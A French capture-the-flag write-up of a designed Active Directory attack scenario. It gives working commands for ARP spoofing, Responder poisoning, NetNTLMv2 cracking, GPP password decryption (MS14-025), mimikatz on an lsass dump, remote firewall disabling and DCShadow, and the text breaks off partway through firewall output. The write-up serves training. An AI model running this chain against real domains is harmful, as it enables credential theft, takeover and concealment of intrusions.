Le NorzhCTF, organisé en marge du FIC 2019, m’a donné l’occasion de concevoir, en collaboration avec @AzrakelK (L0n3w0lf), le scénario d’attaque en relation avec un domaine Active Directory. Cet article traite de ce challenge et présente notre solution. Le challenge a également été rejoué dans le cadre du RedHackCTF 2019, sous le même nom.
Le challenge “Game of Pwn - A song of users and domain” est un scénario composé de 4 challenges (4 flags) permettant aux participants de découvrir et exploiter certaines vulnérabilités ou faiblesses de configuration connues dans un domaine Active Directory.
Sommaire
- Énoncé
- Prérequis
- Challenge 1 - Entrée sur le domaine
- Challenge 2 - Compromission de la machine cliente
- Challenge 3 - Contrôle du domaine
- Challenge 4 - Métadonnées de réplication
- RETEX et mot de la fin
Énoncé
Une fois la plateforme de challenge atteinte par les participants, l’énoncé suivant était donné pour l’ensemble des challenges portant sur ce scénario.
Welcome on this scenario ! You'll have to pentest a Windows based "company" infrastructure. Let's go !
The first flag is the password for the user Davos Mervault, using the following : ENSIBS{password}
Then, you'll have to look for private, local, documents.
Pas d’autres informations. Le reste du challenge s’éclaire en résolvant les challenges un par un.
TL;DR
Cette partie présente les commandes utilisées, dans l’ordre, afin de résoudre les différents challenges du scénario. La totalité de ce dernier est cependant expliqué et détaillé plus bas.
# Reconnaissance CLIENT01
$ nmap -v -Pn -n -T4 -sT --reason 10.69.88.0/24
# ARP Spoof
$ sudo arpspoof -i eth0 -t 10.69.88.23 10.69.88.254
$ sudo tcpdump -i eth0
# Reconnaissance DC01
$ sudo nmap -v -Pn -n -T4 -O 10.34.67.4
# Man in the Middle - NBT-NS - Récupération compte utilisateur
sudo responder -I eth0 -wFv
$ john --format=netntlmv2 --wordlist="/usr/share/wordlists/rockyou.txt" hash.txt
# Reconnaissance sur le domaine
$ rpcclient -U dmervault 10.34.67.4
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
rpcclient $> querygroupmem 0x200
# Enumeration des partages réseau
$ cme smb 10.69.88.23 -u dmervault -p littledog --shares
$ cme smb 10.34.67.4 -u dmervault -p littledog --shares
# Fouille SYSVOL et récupération GPO
$ smbclient -U dmervault //10.34.67.4/SYSVOL
smb: \NORZH.LAN\Policies\{195471B6-B0C6-4AD2-9853-28E2B4E9CEF6}\Machine\Preferences\Groups\> get Groups.xml
# MS14-025
$ gpp-decrypt hT4tFpr32vG4LZHmnqXM4d8fJ0MfZZdLg0QK40Oq6UC4atw0nUeUCkJDLb1FzouL
# Connexion administrateur sur CLIENT01
$ cme smb 10.69.88.23 -u Administrator -p "0h_y3@_Y0u_GoAt_Me#" --local-auth
$ smbclient -U Administrator //10.69.88.23/C$
smb: \Users\Administrator\Documents\Audit_20_12_2018_Confidentiel\> get flag2.txt
smb: \Users\Administrator\Documents\Audit_20_12_2018_Confidentiel\> get lsass.DMP
# Récupération de compte admin du domaine
mimikatz # sekurlsa::minidump lsass.DMP
mimikatz # sekurlsa::logonPasswords /full
# Connexion DC01 et récupération flag
$ cme smb 10.34.67.4 -u jsnow -p ":8n2K@j4hfUK#5Jek#"
$ smbclient -U jsnow //10.34.67.4/C$
smb: \Users\jsnow\Documents\> get flag3.txt
# Activation RDP
$ sudo crackmapexec smb 10.69.88.23 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -M rdp -o ACTION=enable
# Vérificaton du pare-feu et désactivation
$ sudo crackmapexec smb 10.69.88.23 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -x 'netsh advfirewall show allprofiles'
$ sudo crackmapexec smb 10.69.88.23 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -x 'netsh advfirewall set allprofiles state off'
# Exploitation DC Shadow (shell 1)
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:dtargaryen /attribute:description /value:"The Game" /replOriginatingUid:{00000000-0000-0000-0000-000000000000} /replOriginatingTime:"2017-01-01 09:00:00" /replOriginatingUsn:42
# Exploitation DC Shadow (shell 2)
mimikatz # lsadump::dcshadow /push
# Vérification succès
$ sudo ./cme smb 10.34.67.4 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -x 'repadmin /showobjmeta DC01.NORZH.LAN "CN=Daenerys Targaryen,CN=Users,DC=NORZH,DC=LAN"'
rpcclient $> queryuser 0x451
Prérequis
Cette partie détaille les différents prérequis à la réalisation du challenge, notamment en ce qui concerne l’accès aux différents challenges qui n’étaient pas directement joignables.
Connexion au réseau interne
Une fois branché au réseau interne de l’entreprise, par l’intermédiaire des switchs fournis aux joueurs, on se rend rapidement compte qu’il n’y a pas de serveur DHCP. Par conséquent, il faut trouver un moyen d’identifier le LAN sur lequel nous sommes afin de configurer manuellement le réseau.
Pour cela, on sort Wireshark afin d’observer ce qui se passe sur le réseau.
Rapidement, on observe des interactions effectuées autour de 2 adresses IP :
- 10.69.88.23 - Il semble d’agir d’une machine nommée “CLIENT01”. Hypothèse, un client Windows ?
- 10.69.88.254 - Il s’agit ici de la passerelle du LAN.
Les paquets envoyés en broadcast nous renseignent sur le masque de sous réseau utilisé, on est donc sur le réseau 10.69.88.0/24. Utilisant une machine d’attaque sous Kali Linux, on modifie notre fichier /etc/network/interfaces
afin de configurer notre interface.
auto eth0
iface eth0 inet static
address 10.69.88.56
netmask 255.255.255.0
gateway 10.69.88.254
Dernier point, on redémarre le service réseau, et on est bon !
$ sudo service networking restart
Découverte des machines
Second prérequis au challenge, savoir quoi sur quoi taper… Pour cela, il va être nécessaire de faire de la reconnaissance afin de découvrir les différentes machines.
On commence par un scan simple sur la plage réseau afin d’identifier les machines sur ce LAN. Deux machines sont identifiées mais seulement une nous intéresse. Il s’agit de la machine identifiée avec Wireshark. 3 ports sont ouverts (135, 139, 445). Il s’agit de ports classiques sur des machines Windows à l’intérieur d’un domaine.
$ nmap -v -Pn -n -T4 -sT --reason 10.69.88.0/24
Nmap scan report for 10.69.88.23
Host is up, received user-set (0.0010s latency).
Not shown: 997 filtered ports
Reason: 997 no-responses
PORT STATE SERVICE REASON
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
445/tcp open microsoft-ds syn-ack
À ce moment, on dispose d’une machine cliente, mais toujours pas de Contrôleur de Domaine (DC)… Peut être serait il dans un second LAN ?
On sait que le client communique avec son DC, notamment par l’intermédiaire de la passerelle. Ainsi, on peut réaliser un spoofing ARP. Il s’agit d’une méthode consistant à empoisonner le réseau afin de se faire passer pour quelqu’un d’autre. Dans notre cas, on va se faire passer pour la passerelle (10.69.88.254) et ainsi recevoir les trames du client (10.69.88.23) afin de voir leur destination.
# Terminal 1 - On empoisonne
$ sudo arpspoof -i eth0 -t 10.69.88.23 10.69.88.254
8:0:27:43:ec:a7 8:0:27:ab:61:71 0806 42: arp reply 10.69.88.254 is-at 8:0:27:43:ec:a7
8:0:27:43:ec:a7 8:0:27:ab:61:71 0806 42: arp reply 10.69.88.254 is-at 8:0:27:43:ec:a7
8:0:27:43:ec:a7 8:0:27:ab:61:71 0806 42: arp reply 10.69.88.254 is-at 8:0:27:43:ec:a7
8:0:27:43:ec:a7 8:0:27:ab:61:71 0806 42: arp reply 10.69.88.254 is-at 8:0:27:43:ec:a7
# Terminal 2 - On écoute ce qui passe
$ sudo tcpdump -i eth0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
16:54:13.156934 IP 10.69.88.23.51154 > 10.34.67.4.domain: 9046+ A? TH3G4ME.NORZH.LAN. (35)
Une adresse IP est trouvée, il s’agit de la 10.34.67.4. Un rapide scan de ports sur cette dernière nous révèle ce que nous voulions, à savoir qu’il s’agit bien d’un contrôleur de domaine !
$ sudo nmap -v -Pn -n -T4 -O 10.34.67.4
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-26 17:50 CET
Initiating SYN Stealth Scan at 17:50
Scanning 10.34.67.4 [1000 ports]
Completed SYN Stealth Scan at 17:50, 4.07s elapsed (1000 total ports)
Initiating OS detection (try #1) against 10.34.67.4
Nmap scan report for 10.34.67.4
Host is up (0.00084s latency).
Not shown: 984 filtered ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49159/tcp open unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2012
OS CPE: cpe:/o:microsoft:windows_server_2012:r2
OS details: Microsoft Windows Server 2012 or Windows Server 2012 R2
Uptime guess: 0.020 days (since Sat Jan 26 17:22:17 2019)
TCP Sequence Prediction: Difficulty=252 (Good luck!)
IP ID Sequence Generation: Incremental
Tout est fin prêt pour passer au challenge.
Challenge 1 - Entrée sur le domaine
La première partie du challenge consiste à trouver un point d’entrée sur le domaine Active Directory ou sur les machines Windows. Aucun identifiant n’est connu à ce moment du challenge.
Récupération du hash NetNTLMv2 utilisateur
Dans le cadre d’un SI d’entreprise, il n’est pas rare que les ordinateurs du domaine recherchent des ressources diverses et variées sur le réseau. Cependant, si un client ne parvient pas à trouver une ressource en particulier, si cela n’a pas été désactivé, il a envoyer successivement des requêtes LLMNR puis NBT-NS afin de demander aux machines voisines si elles ne connaissent pas la ressource.
Il est possible d’exploiter ce comportement en réalisant une attaque Man In The Middle, à l’aide de l’outil responder par exemple. En pratique, si ce genre de requête circule sur le réseau, notre machine (attaquant) va alors se faire passer pour cette ressource. Ainsi, une réponse est envoyée au client, lui disant que la ressource a été trouvée et ce dernier envoie ses identifiants sur le réseau afin de s’y connecter.
$ sudo responder -I eth0 -wFv
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 10.69.88.23 for name TH3G4ME (service: File Server)
[SMBv2] NTLMv2-SSP Client : 10.69.88.23
[SMBv2] NTLMv2-SSP Username : NORZH\dmervault
[SMBv2] NTLMv2-SSP Hash : dmervault::NORZH:b36fe00d35fbe870:CD538CF0935600E8C065F9CA4830B677:0101000000000000C0653150DE09D201D3C9ADFEC5AEFA66000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000000000000002000009811A9EAB1FE9DADCBB5D03032B97801110DF0BCCD0C7A06D494CFEBD85161180A001000000000000000000000000000000000000900180063006900660073002F00540048003300470034004D004500000000000000000000000000
Un compte utilisateur du domaine est donc trouvé avec cette technique ! L’utilisateur dmervault.
Cependant, même s’il existe des attaques de type “Pass the Hash” pour certains hash (typiquement, NTLM), ce n’est pas le cas des hashs NTLMv2, ainsi le mot de passe en clair est nécessaire.
Cassage du hash et premier flag
Le hash récupéré sur le réseau est du type Net-NTLMv2 (NTLMv2). Il s’agit du type de hash par défaut utilisé depuis Windows 2000. Il est très largement possible de cracker ce type de hash, même si cela peut s’avérer long.
Dans la vraie vie, les entreprises sont souvent équipées de politiques de mots de passe, impliquant des mots de passe utilisateur ayant une certaine complexité (et encore…) mais dans le cadre d’un CTF, il n’est pas rare que les mots de passe à trouver soient tirés de certaines wordlists connues.
Ainsi, on peut tenter de cracker le hash précédemment récupéré, à l’aide de John.
$ john --format=netntlmv2 --wordlist="/usr/share/wordlists/rockyou.txt" hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
littledog (dmervault)
1g 0:00:00:00 DONE (2019-01-26 17:29) 8.333g/s 341391p/s 341391c/s 341391C/s littledog
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
Assez rapidement, le mot de passe de l’utilisateur tombe ! On dispose donc d’un compte utilisateur, pouvant potentiellement se connecter au domaine et accessoirement, du premier flag du challenge ENSIBS{littledog}.
Challenge 2 - Compromission de la machine cliente
A ce stade, on dispose d’un compte utilisateur du domaine, et de quelques informations sur la suite du challenge. En effet, il est indiqué que nous devons chercher du côté des fichiers privés et locaux, donc probablement sur la machine cliente.
Reconnaissance
Ayant de nouveaux accès, il peut être intéressant d’effectuer une phase de reconnaissance. On peut par exemple se connecter en RPC au contrôleur de domaine afin de récolter des informations.
$ rpcclient -U dmervault 10.34.67.4
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Unable to initialize messaging context
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Enter WORKGROUP\dmervault's password:
rpcclient $>
On commence par récupérer la liste des utilisateurs et groupes du domaine. Cette action permet d’en apprendre plus et de commencer à cibler nos recherches et attaques.
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[nstark] rid:[0x450]
user:[jsnow] rid:[0x451]
user:[dtargaryen] rid:[0x452]
user:[dmervault] rid:[0x455]
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44f]
On sait que les groupes sensibles sont les groupes privilégiés. En l’occurrence, le meilleur exemple est le groupe Domain Admins contenant des utilisateurs administrateurs. On peut donc récupérer les membres du groupe en utilisant le RID de ce dernier.
rpcclient $> querygroupmem 0x200
rid:[0x451] attr:[0x7]
rid:[0x1f4] attr:[0x7]
On observe que deux utilisateurs sont membres de ce groupe. Le premier, ayant le RID 1F4 (=500) est le compte Administrateur créé par défaut à la création du domaine. Le second, ayant le RID 451 (=1105) est le compte utilisateur Jon Snow (jsnow). On a donc une cible pour la suite ! Creuser du côté de ce compte peut être très intéressant.
On peut ensuite regarder du côté des partages réseaux. L’outil CrackMapExec permet par exemple de facilement lister les partages accessibles côté DC et côté CLIENT. Rien de très exotique, mais on remarque néanmoins le partage SYSVOL, accessible en lecture.
$ cme smb 10.69.88.23 -u dmervault -p littledog --shares
SMB 10.69.88.23 445 CLIENT01 [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:CLIENT01) (domain:NORZH) (signing:False) (SMBv1:True)
SMB 10.69.88.23 445 CLIENT01 [+] NORZH\dmervault:littledog
SMB 10.69.88.23 445 CLIENT01 [+] Enumerated shares
SMB 10.69.88.23 445 CLIENT01 Share Permissions Remark
SMB 10.69.88.23 445 CLIENT01 ----- ----------- ------
SMB 10.69.88.23 445 CLIENT01 ADMIN$ Remote Admin
SMB 10.69.88.23 445 CLIENT01 C$ Default share
SMB 10.69.88.23 445 CLIENT01 IPC$ Remote IPC
$ cme smb 10.34.67.4 -u dmervault -p littledog --shares
SMB 10.34.67.4 445 DC01 [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:DC01) (domain:NORZH) (signing:True) (SMBv1:True)
SMB 10.34.67.4 445 DC01 [+] NORZH\dmervault:littledog
SMB 10.34.67.4 445 DC01 [+] Enumerated shares
SMB 10.34.67.4 445 DC01 Share Permissions Remark
SMB 10.34.67.4 445 DC01 ----- ----------- ------
SMB 10.34.67.4 445 DC01 ADMIN$ Remote Admin
SMB 10.34.67.4 445 DC01 C$ Default share
SMB 10.34.67.4 445 DC01 IPC$ Remote IPC
SMB 10.34.67.4 445 DC01 NETLOGON READ Logon server share
SMB 10.34.67.4 445 DC01 SYSVOL READ Logon server share
Utilisation du partage SYSVOL
SYSVOL est un partage réseau regroupant l’ensemble des éléments utiles dans le processus de réplication des DC, mais également les éléments qui doivent être accessibles pour l’ensemble des ordinateurs du domaine (par exemple, scripts de connexion, GPO, …). Par conséquent, il doit être accessible en lecture à distance. On peut ainsi s’y connecter de la façon suivante.
$ smbclient -U dmervault //10.34.67.4/SYSVOL
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Unable to initialize messaging context
Enter WORKGROUP\dmervault's password:
Try "help" to get a list of possible commands.
smb: \>
Exploitation de la vulnérabilité MS14-025
L’intérêt ici se situe dans les Stratégies de Groupe (GPO) appliquées au domaine. Certains systèmes n’étant pas à jour (ce qui peut arriver souvent dans un cadre réel) souffrent d’une vulnérabilité Microsoft, la MS14-025 permettant ainsi d’exploiter l’application des GPO afin d’y retrouver le mot de passe du compte utilisé pour appliquer la GPO. Dans la plupart des cas, il s’agit de l’administrateur local de la machine.
On file donc au coeur de la GPO trouver le fichier Groups.xml
, utilisé pour stocker les informations de l’utilisateur impliqué dans la stratégie.
smb: \NORZH.LAN\Policies\{195471B6-B0C6-4AD2-9853-28E2B4E9CEF6}\Machine\Preferences\Groups\> ls
. D 0 Sun Nov 25 17:11:30 2018
.. D 0 Sun Nov 25 17:11:30 2018
Groups.xml A 548 Sun Nov 25 17:11:56 2018
10395647 blocks of size 4096. 7658701 blocks available
smb: \NORZH.LAN\Policies\{195471B6-B0C6-4AD2-9853-28E2B4E9CEF6}\Machine\Preferences\Groups\> get Groups.xml
getting file \NORZH.LAN\Policies\{195471B6-B0C6-4AD2-9853-28E2B4E9CEF6}\Machine\Preferences\Groups\Groups.xml of size 548 as Groups.xml (107.0 KiloBytes/sec) (average 107.0 KiloBytes/sec)
On peut voir en affichant le fichier que le compte administrateur local par défaut (built-in) est utilisé. On y voit également son mot de passe, chiffré avec de l’AES-256.
$ cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2018-11-25 16:11:56" uid="{7F1848E5-9B8D-446A-8C27-348CC2894A4C}"><Properties action="U" newName="" fullName="" description="" cpassword="hT4tFpr32vG4LZHmnqXM4d8fJ0MfZZdLg0QK40Oq6UC4atw0nUeUCkJDLb1FzouL" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/></User>
</Groups>
La vulnérabilité se situe précisément à cet endroit puisque Microsoft a publié il y a maintenant quelques années sur le MSDN la clé privée utilisée pour chiffrer ces mots de passe… Clé privée qui reste la même pour chaque chiffrement. Il est donc possible pour quiconque obtient un accès au SYSVOL de récupérer ce fichier, et ainsi déchiffrer le mot de passe de l’administrateur. Plusieurs outils existent mais j’ai utilisé l’outil gpp-decrypt implémenté par défaut sous Kali.
$ gpp-decrypt hT4tFpr32vG4LZHmnqXM4d8fJ0MfZZdLg0QK40Oq6UC4atw0nUeUCkJDLb1FzouL
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
0h_y3@_Y0u_GoAt_Me#
Fouille et récupération du second flag
Maintenant que nous disposons du mot de passe de l’administrateur du client, il est possible de s’y connecter en ayant des privilèges élevés !
$ cme smb 10.69.88.23 -u Administrator -p "0h_y3@_Y0u_GoAt_Me#" --local-auth
SMB 10.69.88.23 445 CLIENT01 [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:CLIENT01) (domain:CLIENT01) (signing:False) (SMBv1:True)
SMB 10.69.88.23 445 CLIENT01 [+] CLIENT01\Administrator:0h_y3@_Y0u_GoAt_Me# (Pwn3d!)
On peut ainsi se connecter au partage C$ qui n’est autre que le disque C: de la machine.
$ smbclient -U Administrator //10.69.88.23/C$
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Unable to initialize messaging context
Enter WORKGROUP\Administrator's password:
Try "help" to get a list of possible commands.
smb: \>
Ainsi, les fouilles peuvent commencer. L’énoncé indiquant que la suite se situe dans des fichiers privés, on se dirige rapidement vers les répertoires privés de l’administrateur où on y trouve un répertoire Audit_20_12_2018_Confidentiel
.. Intriguant !
smb: \Users\Administrator\Documents\> ls
. DR 0 Mon Nov 26 11:12:30 2018
.. DR 0 Mon Nov 26 11:12:30 2018
Audit_20_12_2018_Confidentiel D 0 Wed Nov 28 14:57:22 2018
desktop.ini AHS 402 Mon Nov 26 10:56:56 2018
My Music DHS 0 Mon Nov 26 10:56:45 2018
My Pictures DHS 0 Mon Nov 26 10:56:45 2018
My Videos DHS 0 Mon Nov 26 10:56:45 2018
10459647 blocks of size 4096. 5709473 blocks available
Ainsi, on obtient le second flag du challenge ! Le fichier est accompagné d’instructions pour la suite.
smb: \Users\Administrator\Documents\Audit_20_12_2018_Confidentiel\> ls
. D 0 Wed Nov 28 14:57:22 2018
.. D 0 Wed Nov 28 14:57:22 2018
flag2.txt A 211 Wed Nov 28 14:56:56 2018
lsass.DMP A 31456493 Mon Nov 26 11:20:34 2018
scan_nmap_domain.txt A 5120 Wed Nov 28 14:57:18 2018
10459647 blocks of size 4096. 5709473 blocks available
smb: \Users\Administrator\Documents\Audit_20_12_2018_Confidentiel\> get flag2.txt
$ cat flag2.txt
Well done ! Looks like you owned this first machine ! Here is the flag : ENSIBS{0x2adb3e_w1nt3r_1s_c0minG#}
Road to domain p0wnage ! Your next flag should be hidden in domain admins private files, g00d luck !
Challenge 3 - Contrôle du domaine
Comme l’indique le fichier texte récupéré, la prochaine étape consiste à compromettre le domaine complet.
Récupération du dump LSASS
Premier élément à notre portée, deux fichiers laissés dans le répertoire d’audit. Un scan de ports, pas vraiment utile dans notre cas, mais surtout, un fichier lsass.dmp
qui semble bien plus important… Sous Windows, le processus lsass.exe
est l’élément qui gère l’authentification des utilisateurs (locaux ou domaine) sur le système. Le service LSASS (Local Security Authority Subsystem Service) stocke également les informations de connexion des sessions utilisateurs actives.
smb: \Users\Administrator\Documents\Audit_20_12_2018_Confidentiel\> get lsass.DMP
getting file \Users\Administrator\Documents\Audit_20_12_2018_Confidentiel\lsass.DMP of size 31456493 as lsass.DMP (14149.8 KiloBytes/sec) (average 13647.0 KiloBytes/sec)
Analyse de la mémoire LSASS
Plusieurs méthodes existent afin d’exploiter le processus lsass.exe
afin de récupérer des informations. D’une manière générale, si le dump du processus a été réalisé alors que des utilisateurs étaient connectés à la machine, alors les informations de connexion de ces derniers se retrouveront dans le dump.
L’exploitation du dump peut se faire à l’aide de l’utilitaire Mimikatz.
La première commande sekurlsa::minidump lsass.DMP
sert à spécifier qu’on n’utilise pas le processus lsass.exe
courant de la machine mais un fichier contenant un dump de la mémoire du processus. Ainsi, on lui fournit le chemin du fichier à analyser.
La seconde commande sekurlsa::logonPasswords /full
sert à récupérer l’ensemble des informations utilisateurs stockées en mémoire. Ainsi, on récupère le compte de l’utilisateur Jon Snow (jsnow) ! On dispose donc maintenant d’un compte privilégié.. Let’s pwn !
Connexion au DC et récupération du troisième flag
De la même façon que pour l’administrateur local, il est possible de se connecter au domaine avec notre nouvel utilisateur et ainsi de voir qu’on dispose de privilèges élevés ! Cela est visible entre autres avec CrackMapExec qui nous indique que nous sommes administrateur de la machine (Pwn3d!).
$ cme smb 10.34.67.4 -u jsnow -p ":8n2K@j4hfUK#5Jek#"
SMB 10.34.67.4 445 DC01 [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:DC01) (domain:NORZH) (signing:True) (SMBv1:True)
SMB 10.34.67.4 445 DC01 [+] NORZH\jsnow::8n2K@j4hfUK#5Jek# (Pwn3d!)
Pour rappel, l’énoncé du troisième challenge dirige les participants vers les répertoires privés du nouvel utilisateur attaqué. De la même façon que pour le second challenge, on peut se connecter via smbclient aux machines à distance. Cette fois ci, on va cibler le C$ (Disque C:) du contrôleur de domaine.
$ smbclient -U jsnow //10.34.67.4/C$
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Unable to initialize messaging context
Enter WORKGROUP\jsnow's password:
Try "help" to get a list of possible commands.
smb: \>
Quelques fouilles plus tard, on trouve effectivement dans le répertoire C:\Users\jsnow\Documents
un fichier flag3.txt
qu’on peut alors récupérer !
smb: \Users\jsnow\Documents\> ls
. DR 0 Wed Nov 28 15:10:50 2018
.. DR 0 Wed Nov 28 15:10:50 2018
desktop.ini AHS 402 Sun Nov 25 19:36:45 2018
flag3.txt A 530 Wed Nov 28 15:10:55 2018
My Music DHS 0 Sun Nov 25 16:35:21 2018
My Pictures DHS 0 Sun Nov 25 16:35:21 2018
My Videos DHS 0 Sun Nov 25 16:35:21 2018
10395647 blocks of size 4096. 7661422 blocks available
smb: \Users\jsnow\Documents\> get flag3.txt
getting file \Users\jsnow\Documents\flag3.txt of size 530 as flag3.txt (258.8 KiloBytes/sec) (average 258.8 KiloBytes/sec)
Celui ci content bien le troisième flag de ce scénario et guide vers la suite.. Avec des informations étranges !
> $ cat flag3.txt
Wow ! Nice one ! Here is your third flag : ENSIBS{b3_Re@dy_f0r_sp0iLeRs_l1ttle_@dm1n!}
What could you do now ?
The last step for you is to update the description of Daenerys Targaryen. What ? Easy you said ? ;)
In order to work, you need to also set the following settings for the description modification :
Time : January, 1st 2017 at 9am
UID : 00000000-0000-0000-0000-000000000000
Usn : 42
If you success into attacking this, the description of Jon Snow will be auto-updated with the last flag !
Good luck !
En effet, il est ici demandé de modifier la description de l’utilisateur Daenerys Targaryen de façon à ce que cette modification apparaisse dans l’Active Directory comme ayant été faite le 01/01/2017
par l’utilisateur ayant l’UID 00000000-0000-0000-0000-000000000000
et l’USN 42
. Il n’est pas précisé de description particulière.. Ainsi, on peut y mettre ce qu’on veut. Étrange vous dîtes ?
Il est temps de RTFM puis exploiter !
Challenge 4 - Métadonnées de réplication
Après quelques recherches sur les différents paramètres et éléments liés aux utilisateurs dans un domaine AD, on apprend que la description est en fait un des différents attributs. La modification de n’importe quel attribut de n’importe quel objet dans un domaine Active Directory produit ce qu’on appelle une metadonnée de réplication. Il s’agit d’informations permettant d’identifier la modification apportée. Cela est généralement utilisé dans le cadre de la réplication entre différents contrôleur de domaine. Le but ici recherché est donc de contrôler ces metadonnées de réplication lors de la modification de la description…
Quelques recherches sur le sujet nous amènent facilement à une attaque relativement récente de post-compromission (une fois la cible compromise) permettant d’effectuer ce genre d’action afin de cacher ses traces, il s’agit du DCShadow !
Activation de RDP
Plusieurs façon pour arriver à nos fins.. Pour des soucis de simplicité et de clarté et étant donné que nous avons besoin d’accéder à la machine cliente, RDP semble être un bon compromis.
Seulement.. RDP est désactivé sur le client. Pas de problème ! On est admin, on fait ce qu’on veut ! Ainsi, on peut l’activer, de différentes façons. L’outil CrackMapExec dispose par exemple d’un module permettant d’activer ou désactiver le RDP sur une cible.
$ sudo crackmapexec smb 10.69.88.23 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -M rdp -o ACTION=enable
SMB 10.69.88.23 445 CLIENT01 [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:CLIENT01) (domain:NORZH) (signing:False) (SMBv1:True)
SMB 10.69.88.23 445 CLIENT01 [+] NORZH\jsnow::8n2K@j4hfUK#5Jek# (Pwn3d!)
RDP 10.69.88.23 445 CLIENT01 [+] RDP enabled successfully
Neutralisation du pare-feu Windows
Deuxième point important, le pare-feu. En effet, la recherche d’informations et ressources sur DCShadow nous apprend que le pare-feu Windows doit être désactivé si on veut réussir à exploiter.
Une fois encore, tout un tas de façons de le faire.. Afin d’éviter l’utilisation d’un shell meterpreter, j’ai choisi de le faire en exécutant une commande à distance avec CrackMapExec. L’option -x
permet d’exécuter une commande avec cmd.exe
tandis que l’option -X
permet d’exécuter du Powershell.
Dans notre cas, on veut commencer par connaître l’état du pare-feu. On peut utiliser pour cela la commande netsh advfirewall show allprofiles
.
$ sudo crackmapexec smb 10.69.88.23 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -x 'netsh advfirewall show allprofiles'
SMB 10.69.88.23 445 CLIENT01 [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:CLIENT01) (domain:NORZH) (signing:False) (SMBv1:True)
SMB 10.69.88.23 445 CLIENT01 [+] NORZH\jsnow::8n2K@j4hfUK#5Jek# (Pwn3d!)
SMB 10.69.88.23 445 CLIENT01 [+] Executed command
SMB 10.69.88.23 445 CLIENT01 Domain Profile Settings:
SMB 10.69.88.23 445 CLIENT01 ----------------------------------------------------------------------
SMB 10.69.88.23 445 CLIENT01 State ON
SMB 10.69.88.23 445 CLIENT01 Firewall Policy BlockInbound,AllowOutbound
SMB 10.69.88.23 445 CLIENT01 LocalFirewallRules N/A (GPO-store only)
SMB 10.69.88.23 445 CLIENT01 LocalConSecRules N/A (GPO-store only)
SMB 10.69.88.23 445 CLIENT01 InboundUserNotification Enable
SMB 10.69.88.23 445 CLIENT01 RemoteManagement Disable
SMB 10.69.88.23 445 CLIENT01 UnicastResponseToMulticast Enable
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01 Logging:
SMB 10.69.88.23 445 CLIENT01 LogAllowedConnections Disable
SMB 10.69.88.23 445 CLIENT01 LogDroppedConnections Disable
SMB 10.69.88.23 445 CLIENT01 FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
SMB 10.69.88.23 445 CLIENT01 MaxFileSize 4096
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01 Private Profile Settings:
SMB 10.69.88.23 445 CLIENT01 ----------------------------------------------------------------------
SMB 10.69.88.23 445 CLIENT01 State ON
SMB 10.69.88.23 445 CLIENT01 Firewall Policy BlockInbound,AllowOutbound
SMB 10.69.88.23 445 CLIENT01 LocalFirewallRules N/A (GPO-store only)
